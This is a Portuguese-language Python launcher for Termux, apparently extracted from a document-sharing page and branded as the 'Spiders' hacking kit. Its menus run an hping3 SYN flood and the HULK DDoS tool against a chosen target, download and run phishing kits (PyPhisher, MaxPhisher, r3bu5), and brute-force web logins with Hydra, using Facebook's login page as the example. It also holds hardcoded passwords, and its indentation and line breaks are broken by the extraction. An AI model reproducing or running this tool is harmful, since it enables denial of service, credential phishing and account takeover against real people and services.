Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 10

# IMPORTS NESSEASRIOS

import os
import time
import requests
from getpass4 import getpass

# DEFINICAO DE CORES
r = "\033[0;31m"
g = "\033[0;32m"
y = "\033[0;33m"
b = "\033[0;34m"
p = "\033[0;35m"
c = "\033[0;36m"
w = "\033[0;37m"

# DIRETORIOS
temp = "/data/data/com.termux/files/temp"
tools = "/data/data/com.termux/files/temp/tools"
hullk = "/data/data/com.termux/files/temp/tools/hullk"
pyphisher = "/data/data/com.termux/files/temp/tools/PyPhisher"
maxphisher = "/data/data/com.termux/files/temp/tools/MaxPhisher"
r3bus = "/data/data/com.termux/files/temp/tools/r3bu5"
ipgeo = "/data/data/com.termux/files/temp/tools/IPGeoLocation"

gp_ofc = "https://chat.whatsapp.com/LdDFNY8JpEO2R6CKMDKMDz"

# X // MENSSAGEM FECHAR
x = '''
frase = "FERRAMENTA OFICIAL DA COMUNIDADE SPIDERS ! "

import time, sys


import os as exe
c = "\033[0;36m"
y = "\033[0;33m"
r = "\033[0;31m"
p = "\033[0;35m"
g = "\033[0;32m"

for i in list(frase):
print(f"{c}",i, end="''")

sys.stdout.flush()
time.sleep(0.1)
def lp():
print('"\n"')
print('"\n"')
print(f"'"{y}[{p}DESENVOLVEDOR{y}]{g}⟩⟩ {c}MRX{r}@{y}PROJ3CT"'")

lp()
'''

s = '''
frase = "OBRIGADO POR USAR O KIT SPIDERS ! "

import time, sys


import os as exe
c = "\033[0;36m"
y = "\033[0;33m"
r = "\033[0;31m"
p = "\033[0;35m"
g = "\033[0;32m"

for i in list(frase):
print(f"{c}",i, end="''")

sys.stdout.flush()
time.sleep(0.1)
def lp():
print('"\n"')
print('"\n"')
print(f"'"{y}[{p}DESENVOLVEDOR{y}]{g}⟩⟩ {c}MRX{r}@{y}PROJ3CT"'")

lp()
'''
geo = '''
frase = "COPEI A URL ACIMA E COLE NO CHOME ! "

import time, sys


import os as exe
c = "\033[0;36m"
y = "\033[0;33m"
r = "\033[0;31m"
p = "\033[0;35m"
g = "\033[0;32m"

for i in list(frase):
print(f"{c}",i, end="''")

sys.stdout.flush()
time.sleep(0.1)
'''
if os.path.exists('.ss.txt'):
pass
else:
if os.path.isdir(temp):
os.system(f'rm -r {temp}; echo "instalado">.ss.txt')
else:
pass
if not os.path.exists(f'.requests.txt'):
os.system('clear')
print(f"{y}INSTALNDO REQUERIMENTOS....👾\n",'='*75)
os.system(f"""
pip3 install requests; pip3 install getpass4 && echo 'requerimentos: \n\n1°_
requests \n2°_ getpass4'> .requests.txt
""")
os.system('clear')
print(f"\n{c}REQUERIMENTOS INSTALNDO COM SUCESSO !")
time.sleep(0.3)
os.system('clear')
else:
pass

def start():
os.system('clear')
if not os.path.isdir(temp):
os.system(f"mkdir {temp}; mkdir {tools}")
else:
logo = f"""
{r} ███████╗ ██████╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██╔══██╗
███████╗ ██████╔╝ ██║ ██║ ██║ █████╗ ██████╔╝
{b} ╚════██║ ██╔═══╝ ██║ ██║ ██║ ██╔══╝ ██╔══██╗
███████║ ██║ ██║ ██████╔╝ ███████╗ ██║ ██║
╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝

{g} ████████╗ ██████╗ ██████╗ ██╗ ███████╗


╚══██╔══╝ ██╔═══██╗ ██╔═══██╗ ██║ ██╔════╝
██║ ██║ ██║ ██║ ██║ ██║ ███████╗
{y} ██║ ██║ ██║ ██║ ██║ ██║ ╚════██║
██║ ╚██████╔╝ ╚██████╔╝ ███████╗ ███████║
╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝

{g}CRIADO POR: {c}MRX{r}@{y}PROJ3CT {g}VERSÃO:{c} 1.0\n


"""
pd = ["mrx","root","spider","sample","admin","blinder","1234"]
if not os.path.exists(f'{temp}/.login.txt'):
os.system('clear')
print(logo)
usuario = input(f"{y}DIGITE SEU A DE USUARIO {g}⟩⟩ ")
os.system('clear')
senha = getpass(f"{y}DIGITE SUA SENHA DO USUARIO [{usuario}] {g}⟩⟩ ")
if usuario == pd[0] and senha == pd[4] or usuario == pd[2] and senha ==
pd[1]:
print(f'{c} ACESSO PERMITIDO !')
login = f"""
{{
NOME: {usuario}
SENHA: {senha}
}}"""

os.system(f"echo '{login}'> .login.txt && mv .login.txt {temp}")


time.sleep(3)
os.system("clear")
else:
os.system("clear")
print(f"{r}ACESSO NEGADO")
exit()

menu = f"""
{c}⪩{g}══════════════════════════════════════{c}⪨{g}
┃{c}⪩{g}____________________________________{c}⪨{g}┃
┃│ │┃
┃│ ┃
{c}{y} 𝐌-𝐄-𝐍-𝐔{c} 🪯{g} │┃
┃│ │┃
┃│ {y}[{c}01{y}] D.D.O.S{g} │┃
┃│ {y}[{c}02{y}] PHISING{g} │┃
┃│ {y}[{c}03{y}] SCANNIN/OSINTG{g} │┃
┃│ {y}[{c}04{y}] BRUTE-FORCE{g} │┃
┃│ {y}[{c}05{y}] LOCALIZAÇÃO{g} │┃
┃│ {y}[{c}06{y}] GRUPO-OFC{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃{c}⪩{g}____________________________________{c}⪨{g}┃
{c}⪩{g}══════════════════════════════════════{c}⪨{g}"""
print(logo,menu)
opcao = input(f"""
{g} SELECIONE UMA OPÇÃO

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)

for op in opcao:
if op == "01" or op == "1":
while True:
sub_menu_1 = f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] HPING3{g} │┃
┃│ {y}[{c}02{y}] HULLK{g} │┃
┃│ {y}[{c}00{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_1)
opcao = input(f"""
{g} SELECIONE UMA OPÇÃO

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if opcao == "01" or opcao == "1":
uid = os.geteuid()
if uid == 0:
os.system('clear')
site = input(f"""
{y} DIGITE O IP DO SITE ALVO

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)

os.system('clear')
porta = input(f"""
{y} DIGITE A PORTA DE SERIÇO

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)

os.system(f'sudo hping3 -S --flood -V -p {porta} {site}')


else:
os.system('clear')
print(f"{r} DESCULPE A FERRAMENTA REQUER PREVILEGIO
{c}ROOT")
time.sleep(3)
else:
if opcao == "02" or opcao == "2":
if os.path.isdir(hullk):
os.system(f'python3 {hullk}/hulk.py')
time.sleep(4)
else:
os.system(f"clear; git clone
https://github.com/R3DHULK/HULK.git && cd HULK; rm requirements.txt")
pips = """pip install random2
pip install Django
pip install scapy
pip install sockets
pip install threaded"""
os.system(f"{pips}; mv HULK {hullk}; python3
{hullk}/hulk.py")
time.sleep(3)
else:
if opcao == "00" or opcao == "0":
os.system('clear')
if os.path.exists(f'{temp}/x2.py'):
os.system(f'python3 {temp}/x2.py')
else:
os.system(f"echo '{s}'> x2.py; mv x2.py {temp}
&& python3 {temp}/x2.py")
break
else:
if op == "02" or op == "2":
os.system('clear')
while True:
sub_menu_2 = f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] PYPHISHER{g} │┃
┃│ {y}[{c}02{y}] MAXPHISHER{g} │┃
┃│ {y}[{c}03{y}] R3BU5{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_2)
op = input(f"""
{g} SELECIONE UMA OPÇÃO

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if op == "01" or op == "1":
os.system('clear;')
if os.path.isdir(pyphisher):
os.system(f'clear; python3
{pyphisher}/pyphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f"clear; git clone
https://github.com/KasRoudra/PyPhisher.git; mv PyPhisher {tools} ;cd {pyphisher};
pip3 install -r files/requirements.txt --break-system-packages")
os.system(f'clear; python3
{pyphisher}/pyphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
if op == "02" or op == "2":
if os.path.isdir(maxphisher):
os.system(f'clear; python3
{maxphisher}/maxphisher.py')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f'clear; git clone
https://github.com/KasRoudra/MaxPhisher.git; mv MaxPhisher {tools}; python3
{maxphisher}/maxphisher.py')
if op == "03" or op == "3":
if os.path.isdir(r3bus):
os.system(f"bash {r3bus}/r3bu5.sh")
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
os.system(f'clear; git clone
https://github.com/k46-db0y/r3bu5.git; mv r3bu5 {tools}; bash {r3bus}/r3bu5.sh')
os.system(f"clear; python3 {temp}/x2.py")
exit(0)
else:
if op == "x" or op == "X":
os.system(f"clear; echo '{s}' > x2.py ;mv x2.py
{temp}; python3 {temp}/x2.py")
break

else:
if op == "03" or op == "3":
sub_menu_2 = f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] NMAP{g} │┃
┃│ {y}[{c}02{y}] WHOIS{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_2)
opcao = input(f"""

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if opcao == "01" or opcao == "1":
os.system('clear')
print(f"""
{c}⪩{g}═════════════════════════{c}⪨{g}
┃╭{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] COMPLETO{g} │┃
┃│ {y}[{c}02{y}] BASICO{g} │┃
┃│ {y}[{c}03{y}] SIMPLES{g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}══════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═════════════════════════{c}⪨""")
tipo = input(f"""

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if tipo == "01" or tipo == "1":
if os.path.exists(f"{temp}/nmap.log"):
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -A {site_Ip}')
exit(0)
else:
os.system(f'clear; echo "SESSAO DO USER:
MRX\n\nLOG: 01"> nmap.log; mv nmap.log {temp} && apt install nmap -y ')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)

if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -A {site_Ip}')
exit(0)
else:
if opcao == "02" or opcao == "2":
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
SITE OU IP VALIDO !")
else:
os.system(f'nmap -sV {site_Ip}')
exit(0)
else:
if opcao == "03" or opcao == "3":
os.system('clear')
site_Ip = input(f"""
{y} DIGITE A {c}SITE{y} OU {c}IP{y} PARA SCAN

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system(f'clear; nmap {site_Ip}')
else:
if not os.path.exists(f"{temp}/whois.log"):
os.system(f'clear; apt install whois; echo
"SESSAO DO USUARIO: MRX\n\nLOG: whois_01"> whois.log; mv whois.log {temp}')
else:
os.system('clear')
if opcao == "02" or opcao == "2":
while True:
os.system("clear")
web = input(f"""
{y} DESEJA USAR A VERSAO WEB DA FERRAMENTA ?

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if web == "sim" or web == "SIM" or web ==
"s" or web =="S" or web == "quero":
os.system('clear'),print(f"{y}ACESSANDO
{c}WHOIS...")
os.system('termux-open http://who.is')
break
else:
os.system('clear')
if web =="":
os.system('clear')
print(f"{r}ERRO: {r}DIGITE {y}SIM{r}
PARA ACESSA A FERRAMENTA {y}WHOIS {r}VIA WEB OU {y}NAO {r}PARA USAR VIA
TERMINAL !")
time.sleep(3)
os.system('clear')
else:
site_Ip = input(f"""
{y} DIGITE O {c}DOMINIO{y} OU {c}IP{y} PARA SCAN

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if site_Ip == "":
print(f"{r}VOCE PRECISA INFORMAR UM
DOMINIO OU IP VALIDO")
time.sleep(3)
os.system('clear')
else:
os.system(f'whois {site_Ip}')
else:
if opcao == "x" or opcao == "X":
os.system(f"clear;python3
{temp}/x2.py")

else:
if op == "04" or op == "4":
uid = os.geteuid()
if uid ==0:
while True:
sub_menu_5 = f"""
{c}⪩{g}═══════════════════════════{c}⪨{g}
┃╭{c}⪩{g}════════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] HYDRA {g} │┃
┃│ {y}[{c}X{y}] SAIR{g} │┃
┃│ │┃
┃╰{c}⪩{g}════════════════════════{c}⪨{g}┃{g}
{c}⪩{g}═══════════════════════════{c}⪨"""
os.system('clear'),print(sub_menu_5)
opcao = input(f"""

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
for op in opcao:
if op == "01" or op == "1":
if not
os.path.exists(f"{temp}/hydra.log"):
os.system(f'echo "SESSAO DO
USUARIO: MRX\n\nLOG: hydra_01"> hydra.log; mv hydra.log {temp}')
else:
lista = f"""
{c}⪩{g}══════════════════════════════════{c}⪨{g}
┃╭{c}⪩{g}═══════════════════════════════{c}⪨{g}┃{g}
┃│ │┃
┃│ {y}[{c}01{y}] LISTA DE USUARIOS {g} │┃
┃│ {y}[{c}02{y}] APENAS UM USUARIO {g} │┃
┃│ │┃
┃╰{c}⪩{g}═══════════════════════════════{c}⪨{g}┃{g}
{c}⪩{g}══════════════════════════════════{c}⪨"""
os.system('clear'),print(lista)
li = input(f"""

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if li == "01" or li == "1":
os.system('clear')

login = input(f"""
{c} DIGITE O CAMINHO DO ARQUIVO DE USERS

{p}EX{g}:{y}/data/data/com.termux/files/home/targets.txt

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
passwd = input(f"""

{c} DIGITE O CAMINHO DO ARQUIVO DE SENHAS

{p}EX{g}:{y}/data/data/com.termux/files/home/senhas.txt

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
servico = input(f"""
{c} DIGITE O NOME DO SITE
{p}EX{g}:{y}facebook.com/login.php

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
os.system(f"hydra -L {login} -P
{passwd} http-post://{servico}")
else:
login = input(f"""

{c} DIGITE O CAMINHO DO ARQUIVO DE USERS

{p}EX{g}:{y}/data/data/com.termux/files/home/targets.txt

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
passwd = input(f"""
{c} DIGITE O CAMINHO DO ARQUIVO DE SENHA

{p}EX{g}:{y}/data/data/com.termux/files/home/senhas.txt

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
servico = input(f"""
{c} DIGITE O NOME DO SITE

{p}EX{g}:{y} facebook.com/login.php

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)

os.system(f"hydra -l {login} -p
{passwd} http-post://{servico}")
else:
if op == "x" or op == "X":
if os.path.exists(f"{temp}/x2.py"):
os.system(f'clear;python3
{temp}/x2.py')
exit(0)
else:
os.system(f"clear; echo '{s}' >
x2.py;mv x2.py {temp};python3 {temp}/x2.py")

else:
os.system('clear'),print(f"{r}DESCULPE A
FERRAMENTA REQUER PREVILEGIO {c}ROOT")
time.sleep(3)
else:
if op == "05" or op == "5":
if os.path.isdir(ipgeo):
os.system('clear')
ip = input(f"""
DIGITE IP QUE DESEJA RASTREAR

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
if os.path.exists(f"{temp}/geo.py"):
os.system(f'python3 {temp}/geo.py')
else:
os.system(f'echo "{geo}"> geo.py; mv
geo.py {temp} && python3 {temp}/geo.py')

os.system(f'clear;python3
{ipgeo}/ipgeolocation.py -t {ip}')
else:
os.system(f"""
git clone
https://github.com/maldevel/IPGeoLocation.git
mv IPGeoLocation {tools}
cd {ipgeo} ; pip3 install -r
requirements.txt --user""")
ip = input(f"""
DIGITE IP QUE DESEJA RASTREAR

[{c}MRX{r}@{y}PR0J3CT{g}]⟩⟩ """)
else:
if op == "06" or op == "6":
os.system('clear')
print(f"{y}[{c}MRX{r}@{y}PROJ3CT]{g}⟩⟩
{y}Olá irei direcionar você ao nosso grupo oficial.\n\n{p}ACESSANDO...{y}
[{g}SPIDERS {c}128{g}Gb Ram{y}]")
os.system(f"termux-open {gp_ofc}; termux-
open {gp_ofc}")
else:
if op == "x" or op == "X":
if os.path.exists(f"{temp}/x.py"):
os.system(f'clear;python3
{temp}/x.py')
else:
os.system(f"clear; echo '{x}' >
x.py;mv x.py {temp};python3 {temp}/x.py")

start()

You might also like